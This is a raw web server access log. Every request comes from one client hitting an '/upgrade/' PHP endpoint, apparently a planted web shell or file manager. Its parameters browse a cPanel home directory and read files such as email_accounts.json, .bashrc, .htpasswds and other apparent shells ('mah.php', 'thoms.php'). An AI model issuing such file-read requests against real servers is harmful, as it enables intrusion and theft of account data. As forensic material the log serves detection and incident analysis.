45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6639 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Femail_accounts.json&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F HTTP/1.1" 200 6715 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.cpanel%2F%2Femail_accounts.json&location=%2Fhome%2Fblackpussy06%2F.cpanel%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2Fblackpussy06%2F.koality%2F HTTP/1.1" 200 6172 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2Fblackpussy06%2F.koality%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.koality%2F HTTP/1.1" 200 6149 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.koality%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.koality%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.koality%2F HTTP/1.1" 200 18890 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.koality%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.koality%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7880 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F HTTP/1.1" 200 6129 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:14 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2F HTTP/1.1" 200 7823 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2F HTTP/1.1" 200 5768 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.koality&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F&option=file HTTP/1.1" 200 6169 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F&option=folder HTTP/1.1" 200 6168 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.koality%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.koality%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.koality%2F HTTP/1.1" 200 50707 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.koality%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.koality%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 6492 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 6479 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_journal&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 29052 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_journal&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2F HTTP/1.1" 200 7828 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 51008 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fuser_prefs&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 7583 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fuser_prefs&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2F HTTP/1.1" 200 5774 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7904 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2F.spamassassin&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 6468 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F&option=folder HTTP/1.1" 200 6488 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_seen&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 542381 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_seen&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 19238 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F&option=file HTTP/1.1" 200 6489 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 20523 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.koality HTTP/1.1" 200 6149 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.koality" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.spamassassin HTTP/1.1" 200 6451 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.spamassassin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:16 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flscache HTTP/1.1" 200 6154 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flscache" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fssl HTTP/1.1" 200 6494 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fssl" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp HTTP/1.1" 200 6253 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=dir HTTP/1.1" 200 7854 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.cpanel HTTP/1.1" 200 6629 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.cpanel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7854 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.lastlogin&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8086 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.lastlogin&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.myimunify_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7987 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.myimunify_id&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinboxenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7904 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinboxenable&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2F HTTP/1.1" 200 5733 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fwww HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fwww" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.imunify_patch_id&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7906 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.imunify_patch_id&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:17 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.htpasswds HTTP/1.1" 200 6157 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.htpasswds" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fetc HTTP/1.1" 200 7094 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fetc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flogs HTTP/1.1" 200 11565 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Flogs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinenable&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7901 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.spamassassinenable&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Faccess-logs HTTP/1.1" 200 8403 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Faccess-logs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html HTTP/1.1" 200 8972 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Ftmp HTTP/1.1" 200 6858 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:15 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_toks&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F HTTP/1.1" 200 2156577 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F%2Fbayes_toks&location=%2Fhome%2Fblackpussy06%2F.spamassassin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=file HTTP/1.1" 200 7761 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.wp-toolkit-identifier&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8557 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.wp-toolkit-identifier&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=folder HTTP/1.1" 200 7854 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:18 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.razor HTTP/1.1" 200 6625 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.razor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fmail HTTP/1.1" 200 8538 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fmail" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_logout&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7905 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_logout&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_profile&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8014 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bash_profile&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.caldav HTTP/1.1" 200 6249 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.caldav" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.trash HTTP/1.1" 200 6150 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2F.trash" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 52167 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:19 -0400] "GET /upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2F HTTP/1.1" 200 7780 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome%2Fblackpussy06&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bashrc&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 8157 "http://163.245.207.76:443/upgrade/index.php?file_location=%2Fhome%2Fblackpussy06%2F%2F.bashrc&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome&location=%2F HTTP/1.1" 200 7784 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/?full_path=%2Fhome&location=%2Fhome%2F HTTP/1.1" 200 5731 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:40:20 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F HTTP/1.1" 200 6253 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_ftp%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
